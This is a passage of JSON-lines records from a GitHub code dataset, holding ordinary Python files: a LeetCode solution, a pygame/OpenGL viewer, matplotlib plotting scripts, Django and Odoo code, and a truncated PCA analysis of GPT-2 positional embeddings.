list(map(int, list(next_digits_str)))\n return next_digits\n\n\ndigits1: List[int] = [1, 2, 3]\ndigits2: List[int] = [4, 3, 2, 1]\ndigits3: List[int] = [9]\n\nsol = Solution()\nprint(sol.plusOne(digits1))\nprint(sol.plusOne(digits2))\nprint(sol.plusOne(digits3))\n", "repo_name": "devyeony/daily-algorithm", "sub_path": "leetcode/leetcode_66.py", "file_name": "leetcode_66.py", "file_ext": "py", "file_size_in_byte": 525, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 16, "usage_type": "name"}]} +{"seq_id": "5836786399", "text": "import pygame\nfrom pygame.locals import *\nfrom pygame import key\nfrom pygame import mouse\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom pywavefront import visualization, Wavefront\nprint(\"import done.\")\n\nscreen_size = LARGEUR_ECRAN, HAUTEUR_ECRAN = 500, 300\nORANGE = (255, 165, 0)\n\n#OBJ\nvbase = ((0, 0, 1),\n\t\t(100, 0, 1),\n\t\t(100, 50, 1),\n\t\t(0, 50, 1))\ndef dessinerRepere(echelle = 1):\n\tglPushMatrix()\n\tglScalef(echelle,echelle,echelle)\n\tglLineWidth(3)\n\tglBegin(GL_LINES)\n\tglColor3ub(0,0,255)\n\tglVertex2i(0,0)\n\tglVertex2i(1,0)\n\tglColor3ub(0,255,0)\n\tglVertex2i(0,0)\n\tglVertex2i(0,1)\n\tglEnd()\n\tglPopMatrix()\ndef draw_rect(vertices):\n\tglBegin(GL_QUADS)\n\tfor vertex in vertices:\n\t\tglVertex3iv(vertex)\n\tglEnd()\ndef main():\n\t#pygame\n\tpygame.init()\n\tpygame.display.set_mode(screen_size, DOUBLEBUF|OPENGL)\n\tpygame.key.set_repeat(100) #activer repetition auto\n\n\t#pywave\n\tscene = Wavefront('graphism/maison.obj')\n\tscene.parse() # Explicit call to parse() needed when parse=False\n\t#opengl\n\tglEnable(GL_DEPTH_TEST)\n\tglMatrixMode(GL_PROJECTION) #choisie la matrice PROJECTION\n\tglLoadIdentity()\n\tgluPerspective(45, (screen_size[0]/screen_size[1]), 0.1, 350.0) #fov, aspect ration (width by height), znear, zfar (znear et zfar correspondent au valeur de proximité entre lesquel l'objet est visible )\n\t\n\tangleY = 10\n\tmouse_pos = [0, 0]\n\tmouse_rel = [0, 0]\n\toffset_cam = [0, 0]\n\tpos_map = [0, 0, 0]\n\tclik = 0\n\twhile True:\n\n\t\t#gestion des evenements\t\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tpygame.quit()\n\t\t\t\tprint(\"STOP\")\n\t\t\t\tquit()\n\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\tif event.key == pygame.K_ESCAPE:\n\t\t\t\t\tpygame.quit()\n\t\t\t\t\tprint(\"STOP\")\n\t\t\t\t\tquit()\n\t\t\telif event.type == pygame.MOUSEMOTION:\n\t\t\t\tif clik:\n\t\t\t\t\tprint(\"\\n\\nPOS =\", pygame.mouse.get_pos())\n\n\t\t\t\t\tpos = pygame.mouse.get_pos()\n\t\t\t\t\trel = pygame.mouse.get_rel()\n\t\t\t\t\tprint(\"rell\", rel)\n\t\t\t\t\tcnt = 0\n\t\t\t\t\tfor coord in pos:\n\t\t\t\t\t\tmouse_pos[cnt] = coord\n\t\t\t\t\t\tcnt += 1\n\t\t\t\t\tcnt = 0\n\t\t\t\t\tfor coord in rel:\n\t\t\t\t\t\toffset_cam[cnt] += coord/100\n\t\t\t\t\t\tcnt += 1\n\t\t\t\t\tprint(\"OFFSET:\", offset_cam)\n\t\t\telif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\t\tclik = 1\n\t\t\telif event.type == pygame.MOUSEBUTTONUP:\n\t\t\t\tclik = 0\n\t\t\t\tmouse_pos[0] = -1\n\t\tif mouse_pos[0] > 0:\n\t\t\tprint(\"mouse_rel\", mouse_rel)\n\t\t\tprint(\"offset_cam\", offset_cam)\n\t\t\tglTranslatef(-offset_cam[0], offset_cam[1], 0)\n\t\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT) #efface le taampon d'affichage\n\t\tglMatrixMode(GL_MODELVIEW) #choisi la matrice MODELVIEW\n\t\tglLoadIdentity()\t\t\n\t\t\n\t\tgluLookAt(4,2,8, 0, 0, 0,0,1,0)\n\n\t\tangleY += 1\n\t\tglRotated(angleY, 0, 1, 0)\n\t\t# glBegin(GL_QUADS)\n\n\t\t# glColor3ub(255,0,0) #face rouge\n\t\t# glVertex3d(1,1,1)\n\t\t# glVertex3d(1,1,-1)\n\t\t# glVertex3d(-1,1,-1)\n\t\t# glVertex3d(-1,1,1)\n\n\t\t# glColor3ub(0,255,0) #face verte\n\t\t# glVertex3d(1,-1,1)\n\t\t# glVertex3d(1,-1,-1)\n\t\t# glVertex3d(1,1,-1)\n\t\t# glVertex3d(1,1,1)\n\n\t\t# glColor3ub(0,0,255) #face bleue\n\t\t# glVertex3d(-1,-1,1)\n\t\t# glVertex3d(-1,-1,-1)\n\t\t# glVertex3d(1,-1,-1)\n\t\t# glVertex3d(1,-1,1)\n\t\t# glEnd()\n\t\tglRotated(-angleY, 0, 1, 0)\n\t\tglTranslatef(-offset_cam[0], -offset_cam[1], 0)\n\t\tvisualization.draw(scene)\n\n\t\t#refresh screen\n\t\tpygame.display.flip() #refresh screen\n\t\tpygame.time.wait(20) #wait\n\n#debut programme\nif __name__ == \"__main__\":\n\tmain()", "repo_name": "NATHAN76543217/game", "sub_path": "test_map.py", "file_name": "test_map.py", "file_ext": "py", "file_size_in_byte": 3273, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.init", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.key.set_repeat", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pywavefront.Wavefront", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 60, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 60, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 61, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 62, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 67, "usage_type": "call"}, {"api_name": "pygame.MOUSEMOTION", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 72, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_rel", "line_number": 75, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 75, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 86, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONUP", "line_number": 88, "usage_type": "attribute"}, {"api_name": "pywavefront.visualization.draw", "line_number": 125, "usage_type": "call"}, {"api_name": "pywavefront.visualization", "line_number": 125, "usage_type": "name"}, {"api_name": "pygame.display.flip", "line_number": 128, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pygame.time.wait", "line_number": 129, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 129, "usage_type": "attribute"}]} +{"seq_id": "31948435988", "text": "import matplotlib.pyplot as plt\nfrom matplotlib.ticker import ScalarFormatter\n\nimport os\n\n# ran this section of code to download matlabplot on whichever environment is run\n# didn't know which environment to install it in since the testing and executable\n# environments were different, so brute forced it.\n\n'''\nimport subprocess\n# Define the package name you want to install\npackage_name = 'matplotlib'\n\n# Run pip to install the package\ntry:\n subprocess.check_call([\"pip\", \"install\", package_name])\n print(f\"Successfully installed {package_name}\")\nexcept subprocess.CalledProcessError as e:\n print(f\"Failed to install {package_name}. Error: {e}\")'\n'''\n\n\ndef main():\n graphSort(\"insertionSort\")\n graphSort(\"bubbleSort\")\n graphSort(\"heapSort\")\n graphSort(\"mergeSort\")\n graphSort(\"quickSortUnstable\")\n graphSort(\"quickSortStable\")\n graphSort(\"selectionSort\")\n\n\ndef graphSort(sort):\n # Get the amount of time it took to complete the sorting\n # list of reads and writes in cpp, in microseconds\n cppReads = []\n cppWrites = []\n\n # Add time values\n # Push time values C++ took to sort so the cppTimes list\n print(\"\\nLists of reads and writes \")\n for i in range(1, 11):\n # Open the file\n with open('../data/' + sort + '/output_' + str(i) + '00.txt', 'r') as file:\n next(file) # Read the first line\n secondline = file.readline() # Read the second line and split it for the read and write vals\n # Split the line using the space ' ' as the delimiter, with the first part being the number of microsecond\n parts = secondline.split(' ')\n cppReads.append(int(parts[0]))\n cppWrites.append(int(parts[1]))\n\n print(\"\\n\" + sort + \"\\nReads:\\n\" + str(cppReads) + \"\\nWrites:\\n\" + str(cppWrites))\n\n # Graph the results for Insertion sort\n x = [100, 200, 300, 400, 500, 600, 700, 800, 900, 1000] # X-axis values (Vector size)\n y1 = cppReads # Y-axis values for Reads\n y2 = cppWrites # Y-axis values for Writes\n\n # Plotting the data\n plt.plot(x, y1, label='Reads') # Plot data set 1\n plt.plot(x, y2, label='Writes') # Plot data set 2\n\n # Annotate each line with its value\n for line in zip(y1, cppReads):\n plt.text(x[9], y1[9], y1[9],\n ha='center', va='bottom')\n\n for line in zip(y2, cppWrites):\n plt.text(x[9], y2[9], y2[9],\n ha='center', va='bottom')\n\n # Create a list of the sizes to use for the x-axis tick marks for objects sorted\n sizes = range(100, 1001, 100)\n # Adding labels and legend\n plt.xlabel('Vector Size')\n # Make sure the x-axis tick marks/labels are at each 100\n plt.xticks(sizes)\n plt.ylabel('Number of Reads and Writes')\n plt.legend()\n\n # Get the current y-axis\n y_axis = plt.gca().yaxis\n\n # Use ScalarFormatter to format the y-axis ticks in scientific notation\n formatter = ScalarFormatter(useMathText=True)\n\n # Apply the formatter to the y-axis\n y_axis.set_major_formatter(formatter)\n\n # Set the window title\n plt.gcf().canvas.manager.set_window_title('C++ ' + sort)\n # Set the graph title\n plt.title('C++ ' + sort + ': Reads and Writes')\n\n # Creating the image and placing it in the images folder\n # Specify the directory name\n directory_name = \"../images\"\n\n # Check if the directory doesn't already exist\n if not os.path.exists(directory_name):\n # Create the directory\n os.makedirs(directory_name)\n print(f\"Directory '{directory_name}' created successfully.\")\n\n # Save the graph to a file\n plt.savefig('../images/' + sort + 'C++.png')\n\n # Display the plot\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "sdejesu1/proj_for_show", "sub_path": "pythonSortingGraphing/Graph.py", "file_name": "Graph.py", "file_ext": "py", "file_size_in_byte": 3727, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.ticker.ScalarFormatter", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}]} +{"seq_id": "7532610637", "text": "from django.test import TestCase\nfrom shop.models import *\nfrom django.contrib.auth.models import User, Group\n\n\nclass OrderTest(TestCase):\n def setUp(self):\n ProductClass.objects.create(name='коробка', slug='box')\n ProductClass.objects.create(name='шнур', slug='cord')\n Product.objects.create(name='коробка 10x10x10', slug='box10x10x10')\n Product.objects.create(name='шнур 10см', slug='cord_10cm')\n ProductVariant.objects.create(name='коробка 10x10x10 черная',\n addition='черная',\n slug='box10black',\n product=Product.objects.get(pk=1),\n price=Decimal('10'))\n ProductVariant.objects.create(name='шнур 10см жёлтый',\n addition='жёлтый',\n slug='cord10yellow',\n product=Product.objects.get(pk=2),\n price=Decimal('1'))\n\n Organisation.objects.create(inn='1234567890')\n User.objects.create(username='1@test.com',\n email='1@test.com', password='password')\n User.objects.create(username='2@test.com',\n email='2@test.com', password='password')\n Group.objects.create(name='const customers')\n User.objects.get(pk=1).groups.add(Group.objects.get(pk=1))\n\n Order.objects.create(organisation=Organisation.objects.get(\n pk=1), user=User.objects.get(pk=1))\n OrderItem.objects.create(product=ProductVariant.objects.get(\n pk=1), price=ProductVariant.objects.get(pk=1).price)\n Order.objects.get(pk=1).items.add(OrderItem.objects.get(pk=1))\n\n def test1(self):\n box, cord = ProductVariant.objects.all()\n order = Order.objects.all()[0]\n self.assertEqual(order.getQuantity(box), 0)\n self.assertEqual(order.getQuantity(cord), 0)\n order.setQuantity(box, 10)\n self.assertEqual(order.getQuantity(box), 10)\n self.assertEqual(order.getQuantity(cord), 0)\n order.setQuantity(cord, 4324)\n self.assertEqual(order.getQuantity(box), 10)\n self.assertEqual(order.getQuantity(cord), 4324)\n order.activate()\n order.finish()\n order.cancel()\n self.assertEqual(order.getTotalQuantity(), 4334)\n self.assertEqual(order.getTotalSum(), 4424)\n", "repo_name": "sailingdev/Django-B2B-MarketPlace-Platform", "sub_path": "shop/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 2536, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.test.TestCase", "line_number": 6, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create", "line_number": 24, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 24, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 26, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Group.objects.create", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 28, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 29, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 29, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Group.objects.get", "line_number": 29, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 29, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 32, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "74982232327", "text": "from odoo import api, fields, models\nfrom datetime import datetime\n\nclass RequestResolveTicket(models.TransientModel):\n _name = \"cclog.resolve_ticket\"\n _description = \"Resolve Requests\"\n _rec_name = 'resolution_comment'\n\n state = fields.Selection(\n [('N', 'New'), ('A', 'Assign'), ('RA', 'Re Assign'), ('P', 'Pending'), ('R', 'Resolved'), ('RO', 'Re Open'),\n ('C', 'Closed')], string=\"Status\", required=True, default=\"R\")\n resolution_comment = fields.Text(string=\"Comment\", required=True)\n resolution_date = fields.Datetime(string='Resolution Date', default=datetime.today())\n\n @api.multi\n def action_requests_resolve_agent(self):\n self.write({'state': 'R'})\n requests = self.env['cclog.request'].browse(self._context.get('active_ids'))\n for request in requests:\n \n requests.resolution_comment = self.resolution_comment\n requests.resolution_date = self.resolution_date\n requests.state = self.state\n\n template_id = self.env.ref('cclog.email_template_resolved_request').id\n template = self.env['mail.template'].browse(template_id)\n template.send_mail(request.id,force_send=True)\n \n", "repo_name": "kluz116/cclog", "sub_path": "wizard/Request_ticket_resolve.py", "file_name": "Request_ticket_resolve.py", "file_ext": "py", "file_size_in_byte": 1216, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "odoo.models.TransientModel", "line_number": 4, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 4, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 9, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 9, "usage_type": "name"}, {"api_name": "odoo.fields.Text", "line_number": 12, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 12, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime", "line_number": 13, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 13, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "name"}, {"api_name": "odoo.api.multi", "line_number": 15, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 15, "usage_type": "name"}]} +{"seq_id": "21837457666", "text": "import io\nfrom typing import Tuple\n\nimport numpy as np\nfrom PIL import Image\nfrom matplotlib import offsetbox, image, patches, pyplot\nfrom matplotlib.artist import Artist\nfrom matplotlib.figure import Figure\nfrom matplotlib.transforms import Bbox\n\nfrom .types import *\n\n__all__ = (\n 'inches2axes',\n 'draw_text',\n 'draw_legend',\n 'draw_image',\n 'draw_rect_with_outside_border',\n 'apply_origin',\n 'get_axes_area'\n)\n\n\ndef _mkfig(**kwargs):\n f = pyplot.figure(**kwargs)\n ax = f.add_axes([0, 0, 1, 1])\n ax.set_axis_off()\n return f, ax\n\n\ndef _mkimg(f: Figure, savefig_kw=None, crop=None):\n savefig_kw = savefig_kw or {}\n if crop:\n if isinstance(crop, Artist):\n f.canvas.draw()\n crop = crop.get_window_extent(f._cachedRenderer).transformed(f.dpi_scale_trans.inverted())\n\n if not isinstance(crop, Bbox):\n raise TypeError('crop должен быть экземпляром Bbox')\n savefig_kw['bbox_inches'] = crop\n\n buf = io.BytesIO()\n f.savefig(buf, format='png', transparent=True, **savefig_kw)\n buf.seek(0)\n im = Image.open(buf, formats=['PNG'])\n data = np.fromstring(im.tobytes(), dtype=np.uint8)\n data = data.reshape((im.size[1], im.size[0], 4))\n buf.close()\n return data\n\n\ndef inches2axes(ax, xy):\n if isinstance(ax, Figure):\n transform = ax.transFigure\n fig = ax\n else:\n transform = ax.transAxes\n fig = ax.figure\n xy = fig.dpi_scale_trans.transform(xy)\n xy = transform.inverted().transform(xy)\n return tuple(xy)\n\n\ndef apply_origin(fig, xy, origin: Origin, w, h, align: Alignment):\n figw, figh = fig.get_size_inches()\n if origin.is_top:\n # координаты начинаются сверху, а не снизу\n xy = xy[0], figh - xy[1]\n\n if origin.is_right:\n xy = figw - xy[0], xy[1]\n\n if align is None:\n align = origin.to_alignment()\n\n if align.ver == VerticalAlignment.TOP:\n # координаты начинаются сверху, а не снизу\n xy = xy[0], xy[1] - h\n elif align.ver == VerticalAlignment.CENTER:\n xy = xy[0], xy[1] - h / 2\n\n if align.hor == HorizontalAlignment.RIGHT:\n xy = xy[0] - w, xy[1]\n elif align.hor == HorizontalAlignment.CENTER:\n xy = xy[0] - w / 2, xy[1]\n\n return xy\n\n\ndef draw_image(img, xy, ax, *, max_width=None,\n max_height=None,\n origin=Origin.BOTTOM_LEFT,\n align=None) -> Tuple[float, float]:\n if not isinstance(img, np.ndarray):\n img = image.imread(img)\n dpi = ax.figure.dpi\n w, h = img.shape[1] / dpi, img.shape[0] / dpi\n zoom = 1\n if max_width is not None:\n zoom = min(zoom, max_width / w)\n if max_height is not None:\n zoom = min(zoom, max_height / h)\n w *= zoom\n h *= zoom\n axImg = get_axes_area(ax.figure, xy, w, h, origin, align)\n axImg.set_axis_off()\n axImg.imshow(img)\n return w, h\n\n\ndef _draw_text_as_image(text, size=None, **kwargs) -> Tuple[np.ndarray, Tuple[float, float]]:\n \"\"\"\n Рисует текст как изображение с указанием максимального размера текста.\n Если текст выходит за границу, он будет обрезан.\n\n :param text: текс\n :param size: кортеж вида (w, h) - максимальный размер текста\n :param kwargs: любые аргументы, которые будут переданы в Axes.text\n :return: numpy массив (изображение)\n \"\"\"\n ha = kwargs.get('ha', kwargs.get('horizontalalignment', 'left'))\n va = kwargs.get('va', kwargs.get('verticalalignment', 'bottom'))\n x, y = 0, 0\n\n if va == 'center':\n y = .5\n elif va == 'top':\n y = .9999\n\n if ha == 'center':\n x = .5\n elif ha == 'right':\n x = 1\n\n f, ax = _mkfig(figsize=size)\n text = ax.text(x, y, text, **kwargs)\n crop = text if size is None else None\n data = _mkimg(f, crop=crop)\n size = data.shape[1] / ax.figure.dpi, data.shape[0] / ax.figure.dpi\n pyplot.close(f)\n return data, size\n\n\ndef draw_text(text, xy, ax, max_size=None, origin=None, align=None, **kw):\n im, size = _draw_text_as_image(text, max_size, **kw)\n if align is None:\n ha = kw.get('horizontalalignment', kw.get('ha', 'left'))\n va = kw.get('verticalalignment', kw.get('va', 'bottom'))\n align = Alignment.from_ha_va(ha, va)\n\n draw_image(im, xy, ax, origin=origin, align=align)\n return size\n\n\ndef get_axes_area(fig, xy, w, h, origin=Origin.BOTTOM_LEFT, align=None):\n xy = apply_origin(fig, xy, origin or Origin.BOTTOM_LEFT, w, h, align)\n xy = inches2axes(fig, xy)\n w, h = inches2axes(fig, (w, h))\n return fig.add_axes([*xy, w, h], label=f'{xy[0]}_{xy[1]}_{w}_{h}')\n\n\ndef draw_rect_with_outside_border(ax, xy, w, h):\n xy = inches2axes(ax, xy)\n w, h = inches2axes(ax, (w, h))\n frame = patches.Rectangle(xy, w, h, facecolor='none')\n offbox = offsetbox.AuxTransformBox(ax.transData)\n offbox.add_artist(frame)\n ab = offsetbox.AnnotationBbox(offbox,\n (xy[0] + w / 2., xy[1] + h / 2.),\n boxcoords=\"data\", pad=0.52, fontsize=2,\n bboxprops=dict(fc=\"none\", ec='k', lw=2))\n ax.add_artist(ab)\n\n\ndef _draw_legend_as_image(**kwargs):\n f, ax = _mkfig()\n kwargs['loc'] = (0, 0)\n legend = ax.legend(**kwargs)\n f.canvas.draw()\n bbox = legend.get_window_extent().transformed(f.dpi_scale_trans.inverted())\n data = _mkimg(f, savefig_kw={'bbox_inches': bbox})\n pyplot.close(f)\n return data\n\n\ndef draw_legend(ax, xy, origin=Origin.BOTTOM_LEFT, max_width=None, max_height=None, align=None,\n **kwargs):\n kwargs['loc'] = 'upper right'\n img = _draw_legend_as_image(**kwargs)\n size = draw_image(img, xy, ax, max_width=max_width, max_height=max_height, origin=origin, align=align)\n return size\n", "repo_name": "MaratBR/VIIRSProcessor", "sub_path": "gdal_viirs/maps/_drawings/drawings.py", "file_name": "drawings.py", "file_ext": "py", "file_size_in_byte": 6045, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.figure.Figure", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.artist.Artist", "line_number": 34, "usage_type": "argument"}, {"api_name": "matplotlib.transforms.Bbox", "line_number": 38, "usage_type": "argument"}, {"api_name": "io.BytesIO", "line_number": 42, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 45, "usage_type": "name"}, {"api_name": "numpy.fromstring", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 46, "usage_type": "attribute"}, {"api_name": "matplotlib.figure.Figure", "line_number": 53, "usage_type": "argument"}, {"api_name": "numpy.ndarray", "line_number": 94, "usage_type": "attribute"}, {"api_name": "matplotlib.image.imread", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 111, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 111, "usage_type": "attribute"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.offsetbox.AuxTransformBox", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.offsetbox", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.offsetbox.AnnotationBbox", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.offsetbox", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}]} +{"seq_id": "74725887047", "text": "\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nimport sys\nfrom transformer_lens import HookedTransformer\n\nsys.path.append('..')\nfrom experiments.experimental_transformer import average_rows\n\n\n\n\n\nif __name__ == '__main__':\n\n# model_name = \"gpt2-small\"\n# model_name = \"gpt2-xl\"\n# model_name = \"gpt2-medium\"\n# model_name = \"gpt2-large\"\n# model_name = \"pythia-70m\"\n#model_name = \"stanford-crfm/alias-gpt2-small-x21\"\n# model_name = \"stanford-crfm/battlestar-gpt2-small-x49\"\n# model_name = \"stanford-crfm/caprica-gpt2-small-x81\"\n# model_name = \"stanford-crfm/darkmatter-gpt2-small-x343\"\n# model_name = \"stanford-crfm/expanse-gpt2-small-x777\"\n\n fig, axs = plt.subplots(3, 3, figsize=(15, 15), subplot_kw={'projection':'3d'})\n\n\n model_names = [\"gpt2-small\", \"gpt2-medium\", \"gpt2-large\", \"gpt2-xl\",\n \"stanford-crfm/alias-gpt2-small-x21\", \"stanford-crfm/battlestar-gpt2-small-x49\",\n \"stanford-crfm/caprica-gpt2-small-x81\", \"stanford-crfm/darkmatter-gpt2-small-x343\",\n \"stanford-crfm/expanse-gpt2-small-x777\"]\n\n for ax, model_name in zip(axs.flatten(), model_names):\n\n reference_gpt2 = HookedTransformer.from_pretrained(model_name, fold_ln=False, center_unembed=False,\n center_writing_weights=False)\n\n\n matrix = reference_gpt2.W_pos.detach().numpy()\n\n print(matrix.shape)\n\n matrix2 = average_rows(reference_gpt2.W_pos.detach().numpy(), 10)\n\n # Calculate the mean vector and subtract it from the matrix\n mean_vector = np.mean(matrix, axis=0)\n matrix = matrix - mean_vector\n\n pca = PCA(n_components=6)\n\n pca_result = pca.fit_transform(matrix)\n pca_result2 = pca.transform(matrix2)\n\n # Separating the 3 PCA components\n x_pca = pca_result[:, 0]\n y_pca = pca_result[:, 1]\n z_pca = pca_result[:, 2]\n\n x_pca2 = pca_result2[:, 0]\n y_pca2 = pca_result2[:, 1]\n z_pca2 = pca_result2[:, 2]\n\n\n # create color map\n num_of_rows = matrix.shape[0]\n # colors = plt.cm.jet(np.linspace(0,1,num_of_rows))\n\n ax.view_init(elev=20, azim=45)\n\n for i in range(num_of_rows):\n # ax.scatter(x_pca[i], y_pca[i], z_pca[i], color=colors[i])\n 